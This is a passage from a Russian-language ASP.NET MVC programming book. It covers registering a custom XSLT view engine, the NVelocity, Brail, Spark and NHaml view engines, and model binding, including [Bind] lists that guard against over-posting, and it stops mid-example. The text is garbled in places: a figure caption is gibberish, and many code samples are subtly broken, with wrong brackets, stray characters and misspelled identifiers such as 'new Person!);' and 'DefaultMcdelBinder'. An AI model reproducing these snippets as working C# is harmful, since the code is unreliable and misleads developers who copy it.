</xsl:template>
</xsl:stylesheet>
Теперь метод действия работает правильно (рис. 10.9). Получен полностью функциональный специальный механизм представлений, поддерживающий шаблоны.
i f hVc'/7:oc6'’-c.st:57C'£/£ock -Wmdcws internet Explore.-	....J
: .	 htt|x?f-‘focslhc5t57G76;-^Doks	’ •  / | A !
is Mv Favorite Books
!
<	1. How to annoy dolphins by B. Swimmer
2 How I survived dolphin attack by B_ Swimmer
Рис. 10.9. Специальный механизм представлений в действии
Шаг 4: регистрация специального механизма представлений
Вместо того чтобы каждый раз явно указывать в контроллерах специальный механизм представлений, его можно зарегистрировать в статической коллекции ViewEngines.Engines. Это должно быть сделано только один раз, обычно во время инициализации приложения.
Добавьте следующий код в обработчик Application_Start () файла Global. азах. cs:
protected void Application__Start () {
RegisterRoutes(RouteTable.Routes);
ViewEngines.Engines.Add(new XSLTViewEngine());
}
Теперь предыдущее действие Index контроллера BooksController можно упростить:
Глава 10. Представления 353
public ViewResult Index()
(
return View(GetBooks());
1
Коллекция ViewEngines. Engines по умолчанию содержит экземпляр WebFormViewEngine. Поэтому MVC Framework сначала будет запрашивать у WebFormViewEngine представление. Если соответствующий файл . aspx или . asex не будет найден, представление запрашивается у XSLTViewEngine. Этот механизм позволяет использовать сразу несколько механизмов представлений параллельно, с установкой для них определенных приоритетов. Для каждого запроса будет выбираться первый механизм представления, который в состоянии найти шаблон, соответствующий его соглашению об именовании.
Для назначения специальному механизму представления приоритета, превышающего приоритет встроенного WebFormViewEngine, измените код инициализации в Global. asax, cs следующим образом:
protected void Application Start()
1
RegisterRout.es (RouteTable.Routes) ;
ViewEngines.Engines.Clear();
ViewEngines.Engines.Add(new XSLTViewEngine());	// Первый приоритет
ViewEngines.Engines.Add(new WebFormViewEngine()); // Второй приоритет
1
Разумеется, если механизм WebFormViewEngine не должен использоваться, его нужно просто не включать в ViewEngines .Engines.
Использование альтернативных механизмов представлений
Несмотря на то что ASP.NET MVC является относительно новой платформой, для нее существует ряд заслуживающих внимания механизмов представлений. Большинство из них — это механизмы представлений, перенесенные из других платформ веб-разработки на основе модели MVC, каждый из которых обладает своими сильными сторонами. Следует отметить, что лишь немногие из них достаточно хорошо интегрированы в Visual Studio, как механизм представлений WebForms по умолчанию (на момент написания книги только механизм Spark поддерживался средством IntelliSense), однако некоторые разработчики ASP.NET MVC все равно сочтут их легкими в использовании.
В оставшейся части этой главы вы найдете краткое руководство по использованию каждого из следующих механизмов представлений с открытым исходным кодом в ASP.NET MVC:
•	NVelocity
•	Brail
•	Spark
•	NHaml
Для подробного описания каждого из этих альтернативных механизмов представлений (их установки, правил и синтаксиса, специальных средств, особенностей и проблем) в книге места нет, к тому же некоторые детали наверняка изменятся к моменту, когда вы прочитаете о них. Поэтому ниже излагаются только основные идеи, положенные в основу каждого их этих механизмов, и приводятся характерные примеры синтаксиса. Дополнительные сведения можно получить на веб-сайтах соответствующих проектов с
354 Часть II. ASP.NET MVC во всех деталях
открытым кодом. Там же можно найти последние версии для загрузки и установки, а также примечания касательно использования.
Во всех приведенных далее примерах предпринимается попытка сгенерировать один и тот же вывод на основе следующей общей структуры ViewData:
ViewData["message"] = "Hello, world!";
ViewData.Model = new List<Mountain> // Mountain просто содержит три свойства {
new Mountain { Name = "Everest", Height=8848,
DateDiscovered = new DateTime(1732, 10, 3) },
new Mountain { Name = "Kilimanjaro", Height=5895,
DateDiscovered = new DateTime(1995, 3, 1) },
new Mountain { Name = "Snowdon", Height=1085,
DateDiscovered = new DateTime(1661, 4, 15) },
};
Использование механизма представлений NVelocity
Apache Velocity — зто универсальный механизм шаблонов на основе Java, который может использоваться для генерации почти любого текстового вывода. Его перенесенная в среду .NET версия под названием NVelocity усиливает стандартный механизм представлений Castle MonoRail, являющийся альтернативой платформе разработки веб-приложений .NET MVC. Если вы знакомы с синтаксисом NVelocity, то вам наверняка будет интересно его использовать в среде ASP.NET MVC. Это довольно легко, потому что в состав проекта MVC Contrib входит класс MvcContrib. Castle .NVelocityViewFactory — механизм представлений, усиленный средствами NVelocity. Проект MVC Contrib доступен для загрузки по адресу www.codeplex.com/mvccontrib. Приведенные далее инструкции относятся к версии 0.0.1.222 этого проекта6.
Шаблоны NVelocity имеют расширение имен файлов . vm, поэтому шаблон по умолчанию для действия Index контроллера Homecontroller находится в /Views/Home Index. vm. Рассмотрим пример шаблона NVelocity:
<h2>$message</h2>
<p>Here's some data</p>
#foreach($m in $ViewData.Model)
#beforeall
<table width="50%" border="l">
<thead>
<tr>
<th>Name</th>
<th>Height (m)</th>
<th>Date discovered</th>
</tr>
</thead>
#each
<tr>
<td>$m.Name</td>
<td>$m.Height</td>
<td>$m.DateDiscovered.ToShortDateString()</td>
</tr>
#afterall
</table>
#end
6 На момент выхода русскоязычного издания этой книги текущей стабильной версией МУС Contrib была 1.0.0.987, а кандидатом на выпуск — версия 2.0.34.0 для MVC2 RC.
Глава 10. Представления 355
<form action="$Url.Action("SubmitEmail")" method="post">
E-mail: $Html.TextBox("email")
<input type="submit" value="Subscribe" />
</form>
Для описанной ранее структуры ViewData это визуализирует экран, показанный на рис. 10.10.
Рис. 10.10. Вывод, полученный с использованием механизма представлений NVelocity
NVelocity поддерживает удобный синтаксис #foreach, который позволяет указывать текст, подлежащий выводу перед каждым элементом (#beforeeach), между элементами (=between), после всех элементов (#af terall), а также, когда в наборе нет элементов (=nodata). Он действует как язык с утиной типизацией (т.е. неявной динамической типизацией (duck-typed)), позволяющей обращаться к свойствам объектов по имени (например, $m. Height), не зная типа объекта: это значит, что предварительно выполнять приведение объекта к известному типу не придется.
Однако NVelocity не позволяет вычислять произвольные выражения С#: можно вычислять только те выражения, которые вписываются в его серьезно ограниченный синтаксис. На момент написания книги механизм NVelocity было трудно использовать для вызова встроенных вспомогательных методов MVC Framework. Вдобавок, из-за универсальности в синтаксисе не предусмотрено какой-либо оптимизации при генерации HTML-разметки, в отличие от ряда других механизмов, которые рассматриваются далее.
В механизме NVelocity имеется система “компоновок” и “компонентов”, которые заменяют мастер-страницы и пользовательские элементы управления WebForms.
Использование механизма представлений Brail
Механизм Brail был создан для Castle MonoRail как альтернатива NVelocity. Его основное отличие связано с использованием язык Воо7 для встроенного кода и выражений, а это значит, что он, подобно шаблонам ASPX, но в отличие от шаблонов NVelocity, допускает произвольные выражения и фрагменты кода. Для применения Brail в среде ASP.NET MVC достаточно воспользоваться классом MvcContrib . ViewFactor ies . BrailViewFactory из проекта MVC Contrib. Опять-таки, приведенные ниже инструкции касаются версии 0.0.1.222 этого проекта.
Воо — зто статически типизированный язык программирования на основе .NET с синтаксисом, подобным Python. Его основные достоинства — лаконичный синтаксис и исключительная гибкость.
356 Часть II. ASP.NET MVC во всех деталях
Шаблоны Brail имеют расширение .brail, поэтому представление по умолчанию для действия Index контроллера HomeController будет находиться в /Views/Home/ Index.brail. Рассмотрим пример:
<h2>${message}</h2>
<p>Here's some data:</p>
ctable width="50%" border="l">
<thead>
<tr>
<th>Name</th>
<th>Height (m)</th>
<th>Date discovered</th>
</tr>
</thead>
<% for m in ViewData .Model: %>
<tr>
<td>${m.Name}</td>
<td>${m.Height}</td>
<td>${m.DateDiscovered.ToShortDateString()}</td>
</tr>
<% end %>
</table>
<form action="${Url.Action("SubmitEmail")}" method="post">
E-mail: ${html.TextBox("email")}
<input type="submit" value="Subscribe" />
</form>
Этот шаблон представления дает точно такой же экран, как показанный на рис. 10.10 ранее в главе.
Как видите, механизм Brail очень похож на NVelocity. Он не поддерживает синтаксис #foreach, но существенно облегчает вычисление произвольных выражений. Brail также имеет систему “компоновок” и “компонентов”, которые заменяют мастер-страницы и пользовательские элементы управления WebForms.
Использование механизма представлений Spark
Spark — зто механизм представлений для ASP.NET MVC и Castle MonoRail. Он доступен для загрузки по адресу http://dev.dejardin.org/. Назначение Spark состоит в интеграции выражений встроенного кода в поток HTML-разметки. Это минимизирует переключения контекста между кодом и HTML-разметкой и обеспечит больший комфорт веб-дизайнерам при работе с шаблонами представлений. Вдобавок механизм Spark позволяет использовать произвольный код C# для вычисления выражений.
Шаблоны Spark имеют расширение .spark, так что шаблон по умолчанию для действия Index контроллера HomeController будет находится в /Views/Home/Index. spark. Рассмотрим пример, основанный на Spark версии 1.0.317.08, который визуализирует тот же экран, что был показан ранее на рис. 10.10:
<use namespace="System.Collections.Generic"/>
<use namespace="System.Web.Mvc.Html"/>
<viewdata model="IList[[ЛространствоИмен.МоипЬаГп]]”/>
<h2>${ViewData["message"]}</h2>
<p>Here's some data</p>
<table width="50%" border="l">
8 На момент выхода русскоязычного издания этой книги текущей стабильной версией Spark была 1.0.39917 RC2.
Глава 10. Представления 357
<thead>
<tr>
<th>Name</th>
<th>Height (m)</th>
<th>Date discovered</th>
</tr>
</thead>
<tr each='var m in Model'>
<td>${m.Name}</td>
<td>${m.Height}</td>
<td>${m.DateDiscovered.ToShortDatestring()}</td>
</tr>
</table>
<form action="${Url.Action("SubmitEmail")}" method="post">
E-mail: ${Html TextBox("email")}
<input type="submit" value="Subscribe" />
</form>
Полужирным выделена наиболее интересная строка. Как видите, здесь нет явного цикла foreach, а нотация итераций элегантно сокращена до атрибута дескриптора. Spark также предлагает весьма аккуратный способ включения внешних частичных шаблонов за счет простой ссылки на них в виде дескрипторов (например, <MyPartialTemplate myparam="val" />) даже без необходимости какой-либо регистрации этих специальных дескрипторов. И, наконец, Spark также поставляется с системой мастер-шаблонов, которые работают подобно мастер-страницам WebForms.
Обратите внимание, что поскольку механизм Spark основан на С#, он не ведет себя как язык с утиной типизацией. Чтобы обратиться к свойствам объекта, сначала необходимо привести этот объект к определенному типу, при необходимости импортируя его пространство имен. Вот почему в начале шаблона присутствуют узлы <use namespace="..."/>.
Использование механизма представления NHaml
Самое интересное припасено на десерт! NHaml — это перенесенная версия механизма представлений Haml для Ruby on Rails, в котором для генерации HTML-разметки применяется совершенно другой подход.
Все механизмы представлений, которые вы видели до сих пор, по сути, являются системами для включения кода в файл HTML. Однако NHaml — это скорее язык, ориентированный на предметную область (DSL), для генерации XHTML. Его файлы шаблонов содержат минимальное описание XHTML и в действительности совсем не похожи на XHTML-разметку. Механизм представлений NHaml доступен для загрузки по адресу code.google.com/р/nhaml/.
Его шаблоны имеют расширение .haml, так что шаблон по умолчанию для действия Index контроллера HomeController будет находиться в /Views/Ноте/Index. haml. Рассмотрим пример, который визуализирует тот же экран, что был приведен ранее на рис. 10.10:
%h2= ViewData["message"]
%р Here's some data
%table{ width="50%", border=l } %thead
%tr
%th Name
%th Height (m)
%th Date discovered
358 Часть II. ASP.NET MVC во всех деталях
- foreach(var m in Model) %tr
%td= m.Name
%td= m.Height
%td= m.DateDiscovered.ToShortDateString()
%form{ action=Url.Action("SubmitEmail"), method="post" }
Email:
= Html.TextBox("email")
%input { type="submit", value="Subscribe" }
Что это вообще такое? Каждая строка предварена символом %, обозначающим дескриптор. Атрибуты помещаются в фигурные скобки ({...}). Отступами задается иерархия дескрипторов. Для вычисления произвольных выражений С#, включая вызов вспомогательных методов HTML, применяется операция =. Строки, начинающиеся со знака дефиса (-) представляют операторы С#. Несмотря на то что NHaml основан на С#, он выглядит как язык с утиной типизацией, позволяя обращаться к свойствам объектов без приведения типов. В NHaml также имеется система“компоновок” и “разделов”, заменяющих мастер-страницы и пользовательские элементы управления WebForms. Несмотря на непривычный синтаксис, NHaml предлагает очень сжатый и точный способ описания динамической XHTML-разметки.
Из всех перечисленных механизмов представлений NHaml наиболее труден в освоении, особенно учитывая определенную нехватку документации (хотя этот проект наверняка будет расширяться). Haml стал довольно популярным в мире Rails, и NHaml, похоже, также завоюет массу сторонников в мире ASP.NET MVC.
Резюме
Благодаря этой главе, вы увеличили свой багаж знаний о стандартном механизме представлений ASP.NET MVC, известном под названием механизма представлений WebForms. Вы узнали о каждом из доступных способов включения динамического содержимого в шаблон представления, и научились работать с многократно используемыми графическими элементами и мастер-страницами. Вы также видели, как файлы ASPX транслируются в классы .NET на веб-сервере. В завершение вы ознакомились с некоторыми наиболее известными альтернативными механизмами представлений.
Теперь вы должны хорошо разбираться в маршрутизации, контроллерах, действиях и представлениях. В следующей главе будут рассмотрены наиболее распространенные задачи, возникающие во время веб-разработки, включая ввод и проверку достоверности данных, поскольку на первый взгляд их решение далеко не очевидно. Остальные главы книги посвящены таким связанным вопросам, как технология Ajax, безопасность, развертывание и эффективное применение других средств, предлагаемых расширенной базовой платформой ASP.NET.
ГЛАВА 11
Ввод данных
Помимо перемещения по страницам и просмотра их содержимого, большинство веб-приложений предоставляет пользователям возможность вводить и редактировать данные. Существует бесчисленное множество способов построения и настройки пользовательского интерфейса ввода данных, с помощью которых можно добиться оптимального восприятия содержимого конечными пользователями.
Платформа ASP.NET MVC спроектирована с упором на простоту и гибкость. Она предлагает эффективные, аккуратные, тестируемые строительные блоки, с помощью которых можно создавать практически любое веб-приложение, не используя жестко заданные элементы управления. Например, вместо готового элемента типа мастера MVC Framework предоставляет широчайшие возможности по конструированию любого рабочего потока операций за счет комбинирования нескольких шаблонов представлений и вызовов метода RedirectToAction ().
Имея в распоряжении такую гибкость, не всегда удается сразу определиться, с чего начать. Процесс разработки в ASP.NET MVC не столь очевиден, как в ASP.NET WebForms, потому что нет визуального редактора, поддерживающего технологию перетаскивания. Но по мере возрастания сложности требований к проекту простота и надежность проектирования кода MVC начинает приносить дивиденды.
Первая часть главы посвящена привязке модели — мощному средству MVC Framework для обработки ввода данных, основанной на соглашениях вместо написания большого объема кода. После этого будет показано, как применить имеющиеся знания о контроллерах, представлениях, привязке модели и архитектуре MVC для решения следующих задач.
•	Обеспечение соблюдения правил проверки достоверности и бизнес-правпл.
•	Сохранение состояния пользовательского интерфейса между множеством запросов.
•	Создание многошаговых форм (также называемых мастерами).
•	Блокирование спама с использованием графического элемента CAPTCHA.
•	Предотвращение подделки данных с использованием кодов НМАС.
Перечисленные задачи служат лишь начальными точками; их всегда можно привести к конкретным нуждам.
Привязка модели
Каждый раз, когда посетители сайта отправляют HTML-форму, приложение посылает HTTP-запрос, содержащий данные формы в виде набора пар “ключ/значение". Каждый необходимый элемент данных можно выбирать вручную (например, извлекая
360 Часть II. ASP.NET MVC во всех деталях
Request. Form [ "phoneNumber" ]), но это трудоемкий процесс, особенно если метод действия должен принимать множество элементов данных и использовать их для конструирования или обновления объекта модели.
Привязка модели — это механизм ASP.NET для отображения данных HTTP-запроса непосредственно на параметры метода действия и специальные объекты .NET (включая коллекции). Как и можно было ожидать, в ASP.NET MVC определен ряд соглашений об именовании, которые позволяют быстро отображать сложные структуры данных без необходимости специфицировать вручную все правила такого отображения.
Привязка модели к параметрам метода действия
Ранее средство привязки данных модели применялось каждый раз, когда методы действия принимали параметры. Например:
public ActionResult RegisterMember(string email, DateTime dateOfBirth)
{
// ...
}
Чтобы выполнить этот метод действия, встроенный объект ControllerActionlnvoker платформы MVC Framework использует компоненты по имени DefaultModelBinder и ValueProviderDictionary (если только вы не замените их специальными реализациями соответствующих интерфейсов) для преобразования данных входящего запроса в соответствующий объект .NET для каждого параметра метода действия. Функционирование этих компонентов рассматривается далее в главе.
Компонент ValueProviderDictionary отвечает за поставку неформатированных данных, передаваемых в запросе HTTP. Он извлекает значения из мест, перечисленных в табл. 11.1, причем в указанном порядке приоритетов.
Таблица 11.1. Места, из которых механизм привязки модели по умолчанию извлекает свои неформатированные входные данные (в порядке приоритетов)
Место	Интерпретация
Form (т.е. параметры POST)	Сучетом культуры (Cultureinfo.Currentculture)
RouteData (т.е. параметры маршрутизации в фигурных скобках плюс параметры по умолчанию)	Без учета культуры (Culture Info. Invari ant Culture)
QueryString	Без учета культуры (Cultureinfo . Invariantculture)
Таким образом, параметр email из предыдущего примера будет заполняться из следующих мест.
1.	Request .Form [ "email" ], если существует.
2.	В противном случае RouteData.Values ["email"], если существует.
3.	В противном случае Request .Querystring [ "email" ], если существует.
4.	В противном случае null.
То же самое верно и для параметра dateOfBirth, но с двумя отличиями.
•	Значением DateTime не может быть null, поэтому, если в трех первых из перечисленных выше мест значение не найдено, генерируется исключение InvalidOperationException со следующим сообщением The parameters dictionary contains a null entry for parameter 'dateOfBirth' of nonnullable
Глава 11. Ввод данных 361
type ' System.DateTime' (Словарь параметров содержит элемент null для параметра dateOfBirth типа System.DateTime, не допускающего значение null).
•	Если dateOfBirth заполняется из URL запроса (места 2 и 3), то этот параметр помечается для нечувствительной к культуре интерпретации, поэтому для него должен использоваться универсальный формат даты гггг-мм-дд. Если же он заполняется из данных POST (место 1), то должен быть помечен как чувствительный к культуре, что приводит к различным интерпретациям в зависимости от настроек сервера. Поток в режиме культуры US должен принимать формат даты мм-дд-гггг, в то время как поток в режиме культуры RU ожидается формат дд-мм-гггг (но оба они нормально работают с форматом гггг-мм-дд)1. Причина такого отличия в поведении состоит в том, что введенные пользователем данные имеет смысл интерпретировать как чувствительные к культуре, и поля форм часто используются для приема такого рода пользовательских данных. Однако по определению строка запроса и параметры маршрутизации в URL не должны содержать специфичное для культуры форматирование.
Как только поставщик значений ValueProviderDictionary обнаруживает подходящие строки в данных входящего запроса, компонент Def aultModelBinder преобразует их в произвольные объекты .NET. Для работы с простыми типами, подобными int и DateTime, он использует средство Type Converter, встроенное в .NET. Однако для манипулирования коллекциями и пользовательскими типами понадобится что-то более сложное.
Привязка модели к специальным типам
Некоторые методы действий можно значительно упростить, передавая им параметры специальных типов вместо создания и заполнения экземпляров вручную. Взгляните на следующее представление, которое визуализирует простую форму регистрации пользователя:
<% using(Html.BeginForm("RegisterMember", "Home")) { %> <div>Name: <%= Html.TextBox("myperson.Name") %></div> <div>Email address: <%= Html.TextBox("myperson.Email") %></dlv> <div>Date of birth: <%= Html.TextBox("myperson.DateOfBirth") %></div> <input type="submit" />
Эта форма может отправить данные следующему методу действия, который вообще не использует привязку модели:
public ActionResult RegisterMember() {
var myperson = new Person));
myperson.Name = Request["myperson.Name"];
myperson.Email = Request["myperson.Email"];
myperson.DateOfBirth = DateTime.Parse(Request["myperson.DateOfBirth"]); // ... какие-то действия c myperson
}
1 Потоки ASP.NET по умолчанию устанавливают режим культуры сервера, но это можно изменить, присвоив соответствующее значение свойству Thread. CurrentThread. Currentculture или добавив узел типа <globalization culture="ru-RU" /> внутрь узла <system.web> в файле web.config. Более подробную информацию об этом, а также об автоматическом обнаружении предпочитаемых настроек культуры для каждого посетителя, можно найти в главе 15.
362 Часть II. ASP.NET MVC во всех деталях
Избавиться от рутинного кода можно так:
public ActionResult RegisterMember(Person myperson) {
// ... какие-то действия c myperson
}
Когда у Def aultModelBinder запрашивается передача объекта некоторого специального типа .NET вместо простого примитивного типа вроде string или int, он с помощью рефлексии определяет общедоступные свойства, имеющиеся у специального типа. Затем он вызывает себя рекурсивно для получения значения каждого свойства. Эта рекурсия позволяет заполнить весь граф пользовательского объекта за один проход.
Обратите внимание на соглашение об именовании, используемое при сопоставлении элементов запроса со свойствами объекта: по умолчанию производится поиск значений имяПараметра.имяСвойства (например, myperson.Email). Это гарантирует возможность присваивания входных данных корректному объекту-параметру. По мере продолжения рекурсии средство привязки ищет значения имяПараметра. имяСвойст-ва.имяПодсвойства и т.д.
На заметку! Когда компонент DefaultMcdelBinder должен создать экземпляр специального типа объекта (например, Person в предыдущем примере), он использует метод .NET под названием Activator. Createlnstance (), который полагается на наличие у этих типов общедоступных конструкторов без параметров. Если ваши типы не имеют конструкторов без параметров, или необходимо создавать их экземпляры с применением контейнера IoC, можете унаследовать подкласс от DefaultMcdelBinder, переопределив его виртуальный метод CreateModel (), а затем присвоив экземпляр специального средства привязки свойству ModelBinders .Binders .DefaultBinder. В качестве альтернативы можно реализовать специальное средство привязки только для данного специфического типа. Пример специального средства привязки будет приведен ниже.
Теперь давайте рассмотрим некоторые способы настройки алгоритма привязки.
Указание специального префикса
В предыдущем примере предполагается, что средство привязки по умолчанию заполнит параметр myperson, запрашивая у поставщика значения myperson. Name, myperson.Email и myperson. DateOfBirth, которые обнаруживаются в местах, перечисленных в табл. 11.1. Несложно догадаться, что префикс myperson определяется по имени параметра метода действия.
При желании можно указать альтернативный префикс, используя для этого атрибут [Bind]. Например:
public ActionResult RegisterMember([Bind(Prefix = "newuser")] Person myperson) {
// ...
]
Теперь у поставщика значения будут запрошены newuser .Name, newuser.Email и newuser. DateOfBirth. Такая возможность в основном удобна, если вы не хотите, чтобы имена HTML-элементов ограничивались именами соответствующих параметров метода С#.
Пропуск префикса
При желании префиксы можно вообще не использовать. Это значит, что разметку представления можно упростить:
Глава 11. Ввод данных 363
<% using(Html.BeginForm("RegisterMember", "Home")) { %>
<div>Name: <%= Html.TextBox("Name") %></div>
<div>Email address: <%= Html.TextBox("Email") %></div>
<div>Date of birth: <%= Html.TextBox("DateOfBirth") %></div>
<input type="submit" />
Обратите внимание, что элемент управления для ввода адреса электронной почты теперь называется просто Email, а не myperson. Email (то же касается и других элементов ввода). Входные значения успешно привяжутся к методу действия, определенному следующим образом:
public ActionResult RegisterMember(Person myperson)
{
// ...
}
Такой код по-прежнему работает, потому что DefaultModelBinder сначала ищет значения с префиксами, выведенными из имени параметра метода (или из любого атрибута [Bind], если таковой имеется). В рассматриваемом примере это значит, что он будет искать входные пары “имя/значение”, ключи которых снабжены префиксом myperson. Если такие входные значения не будут найдены, а в данном примере так и случится, он вновь попытается найти входные значения, но на этот раз не используя префикса вообще.
Выбор подмножества свойств для привязки
Предположим, что класс Person, применяемый в последних нескольких примерах, имеет свойство типа bool по имени Is Admin, которое необходимо защитить нежелательного воздействия извне. Если метод действия использует привязку модели для получения параметра типа Person, то злоумышленник может просто присоединить фрагмент ?IsAdmin=true к URL, используемому при отправке формы регистрации членства, и это значение свойства благополучно будет применено к вновь созданному объекту Person.
Ясно, что такую ситуацию нельзя считать приемлемой. Помимо безопасности существует и ряд других причин, по которым понадобится явно контролировать подмножество свойств, подлежащих привязке модели. Для этого доступны два основных способа.
Во-первых, можно указывать список свойств для включения в привязку, используя атрибут [Bind] в параметре метода действия, например:
public ActionResult RegisterMember ([Bind (Include = "Name, Email")] Person myperson) {
// ...
}
Или же можно задавать список свойств, которые должны быть исключены из привязки:
public ActionResult RegisterMember ([Bind(Exclude = "DateOfBirth")] Person myperson) {
// ...
}
Во-вторых, можно применить атрибут [Bind] к самому целевому типу. Это правило будет применено глобально, ко всем методам действий, где бы данный тип ни привязывался к модели, например:
364 Часть II. ASP.NET MVC во всех деталях
[Bind(Include = "Email, DateOfBirth")]
public class Person
{
public string Name { get; set; }
public string Email { get; set; }
public DateTime DateOfBirth { get; set; }
}
Какой из двух способов выбрать, зависит от того, какое правило необходимо установить: глобальное или применяемое только в определенном случае привязки модели.
В любом случае правило Include устанавливает “белый” список: привязаны будут только явно указанные в нем свойства. С другой стороны, Exclude устанавливает “черный” список: будут привязаны все свойства за исключением тех, что явно исключены. Применение одновременно Include и Exclude редко имеет смысл, но если так поступить, то свойства будут привязаны только в том случае, если они присутствуют в списке Include и отсутствуют в списке Exclude.
Если применитт [Bind] и к параметру метода действия, и ко всему целевому типу, свойства будут привязаны, только если они разрешены обоими фильтрами. Поэтому, если свойство Is Admin исключить на целевом типе, то это нельзя будет переопределить ни одним методом действия.
Прямой вызов привязки модели
Выше было показано, как осуществляется автоматическая привязка модели, когда метод действия принимает параметры. Привязку модели можно также запустить вручную. Это обеспечит более тонкий контроль над созданием экземпляров объектов модели, извлечением входных данных и обработкой ошибок.
Например, вот как можно переписать действие RegisterMember () из предыдущего примера, вызывая вручную привязку модели посредством вызова метода UpdateModel () базового класса контроллера:
public ActionResult RegisterMember()
{
var person = new Person!);
UpdateModel(person);
// Или, если вы используете префикс: UpdateModel (person, "myperson") ;
// ... какие-то действия с person
}
Этот подход выгодно применять, когда требуется явное управление созданием объектов модели. Здесь вы поставляете экземпляр Person для обновления (который может быть просто загружен из базы данных) вместо его автоматического создания.
Метод UpdateModel () принимает различные параметры, позволяя выбирать префикс ключа входных данных, список параметров для включения или исключения из привязки, а также поставщик данных, предоставляющий входные данные. Например, вместо DefaultValueProvider (который извлекает данные из мест, перечисленных в табл. 11.1). можно использовать встроенный поставщик данных FormCollection, получающий свои данные только из Request. Form. Ниже показан код.
public ActionResult RegisterMember(FormCollection form)
{
var person = new Person!);
UpdateModel(person, form.ToValueProvider());
// ... какие-то действия c person
}
Глава 11. Ввод данных 365
Это позволяет элегантно провести модульное тестирование привязки модели. Модульные тесты могут запускать метод действия, передавая FormCollection с тестовыми данными, что исключает необходимость в применении имитированного или фиктивного контекста запроса. Код имеет привлекательный “функциональный” стиль, в том смысле, что метод имеет дело только со своими параметрами и не касается объектов внешнего контекста.
Обработка ошибок привязки модели
Иногда пользователи вводят значения, которые не могут быть присвоены соответствующим свойствам модели, например, неверные даты или текст свойств типа int. Чтобы разобраться в том, как такие ошибки обрабатываются в MVC Framework, рассмотрим следующие проектные цели.
1.	Вводимые пользователем данные никогда не должны отбрасываться, даже если они не верны. Введенные значения должны сохраняться, чтобы их можно было отобразить как часть ошибки проверки достоверности.
2.	Когда ошибок несколько, система должна дать отклик о максимально возможном их числе. Это значит, что привязка модели не должна останавливать свою работу, столкнувшись с первой же проблемой.
3.	Ошибки привязки не должны игнорироваться. Программист должен суметь распознать моменты, когда они возникают, и предоставить код для устранения.
Для достижения первой цели должна быть выделена область для временного хранения неверных данных. В противном случае, поскольку неверная дата не может быть присвоена свойству типа .NET DateTime, неверно введенные данные будут просто утеряны. Именно для этой цели в MVC Framework предусмотрена область временного хранения, реализованная классом Modelstate. Эта область также помогает достичь второй цели: каждый раз, когда средство привязки модели пытается применить значение к свойству, оно фиксирует имя свойства, входное значение (всегда в виде string), а также все ошибки, вызванные присваиванием. И, наконец, для достижения третьей цели метод UpdateModel {) завершается генерацией исключения InvalidOperationException с сообщением The model of type typename was not successfully updated (Модель типа имяТипа не была успешно обновлена), если в Modelstate зафиксированы какие-то ошибки.
Таким образом, поскольку возможны ошибки привязки, необходимо перехватывать и обрабатывать исключения. Например:
public ActionResult RegisterMember() {
var person = new Person () ; try {
UpdateModel(person);
// ... какие-то действия c person } catch (InvalidOperationException ex) {
// Todo: предоставить некоторый отклик в пользовательском // интерфейсе на основе Modelstate
}
}
Это вполне разумное применение исключений. В .NET исключения являются стандартным способом уведомления о невозможности выполнить операцию (они не зарезер
366 Часть II, ASP.NET MVC во всех деталях
вированы для критичных, редких или “необычных" событий, что бы под ними не подразумевалось)2. Тем не менее, если вы предпочитаете не иметь дела с исключениями, то можете использовать вместо UpdateModel () метод TryUpdateModel (). Этот метод не генерирует исключений, а возвращает код состояния типа bool. Например:
public ActionResult RegisterMember()
{
var person = new Person () ; if(TryUpdateModel(person)) {
// ... какие-то действия c person
} else {
// Todo: предоставить некоторый отклик в пользовательском
// интерфейсе на основе Modelstate
}
)
О том, как реализовать соответствующий отклик в пользовательском интерфейсе, вы узнаете в разделе “Проверка достоверности” далее в главе.
На заметку! Когда определенное свойство модели не может быть привязано из-за некорректности входных данных, это не прекращает попыток DefaultMcdelBinder обработать остальные свойства. Это значит, что будет получен объект модели, обновленный лишь частично.
Если привязка модели используется неявно, т.е. объекты модели принимаются как параметры метода, а не с помощью UpdateModel () или TryUpdateModel (), то выполняется тот же самый процесс, но без уведомления о проблемах генерацией исключения InvalidOperationException. В этом случае наличие проблем привязки определяется проверкой свойства Modelstate. IsValid, как будет показано ниже.
Привязка модели к массивам, коллекциям и словарям
Одной из замечательных особенностей привязки моделей является элегантность получения множества элементов данных за раз. Для примера рассмотрим представление, в котором с помощью вызова вспомогательного метода визуализируется несколько текстовых полей с одним и тем же именем:
Enter three of your favorite movies: <br />
<%= Html.TextBox("movies") %> <br />
<%= Html.TextBox("movies") %> <br />
<%= Html.TextBox("movies") %>
Предположим, что эта разметка находится в форме, которая отправляет свои данные следующему методу действия:
public ActionResult DoSomething(List<string> movies)
{
// ...
}
В таком случае параметр movies будет содержать по одному элементу для каждого соответствующего поля формы. Вместо List<string> можно принимать данные в
2 Котда приложение выполняется в режиме выпуска (Release) без присоединенного отладчика, исключения .NET редко вызывают сколько-нибудь заметное снижение производительности, если только они не возникают десятками тысяч в секунду.
Глава 11. Ввод данных 367
виде string [ ] или даже IList<string> — средство привязки модели достаточно интеллектуально, чтобы справиться с этим. Если все текстовые поля будут называться myperson .Movies, то данные автоматически заполнят свойство-коллекцию Movies параметра myperson метода действия.
Привязка модели к коллекциям специальных типов
Пока что все хорошо. Но что если понадобится привязать массив или коллекцию произвольного типа, имеющего множество свойств? Для этого необходим какой-то способ объединения наборов связанных элементов управления в группы — по одной группе на каждый элемент коллекции. Компонент DefaultModelBinder ожидает следования определенным соглашениям об именовании, что лучше прояснить на примере:
<% using(Html.BeginForm("RegisterPersons", "Home")) { %>
<h2>First person</h2>
<div>Name: <%= Html.TextBox("people[0].Name") %></div>
<div>Email address: <%= Html.TextBox("people[0].Email")%></div>
<div>Date of birth: <%= Html.TextBox("people[0].DateOfBirth")%></div>
<h2>Second person</h2>
<div>Name: <%= Html.TextBox("people[1].Name")%></div>
<div>Email address: <%= Html.TextBox("people[1].Email")%></div>
<div>Date of birth: <%= Html.TextBox("people[1].DateOfBirth")%></div>
<input type="submit" />
<% } %>
Давайте посмотрим на имена элементов управления вводом. Первая группа элементов имеет индекс [ 0 ] в имени, а вторая — [ 1 ]. Для получения этих данных достаточно привязать модель к коллекции или массиву объектов Person, используя имя параметра people, например:
public ActionResult RegisterPersons(IList<Person> people)
{
// ...
}
Поскольку осуществляется привязка к типу коллекции, компонент DefaultModelBinder будет искать группы входящих значений, снабженных префиксом people [0], people [1], people [2] и т.д., останавливаясь по достижении индекса, который не соответствует ни одному входному значению. В этом примере people заполняется двумя экземплярами Person, привязанными к входным данным.
Явная привязка модели производится так же легко. Понадобится лишь указать префикс привязки people, как показано в следующем коде:
public ActionResult RegisterPersons() {
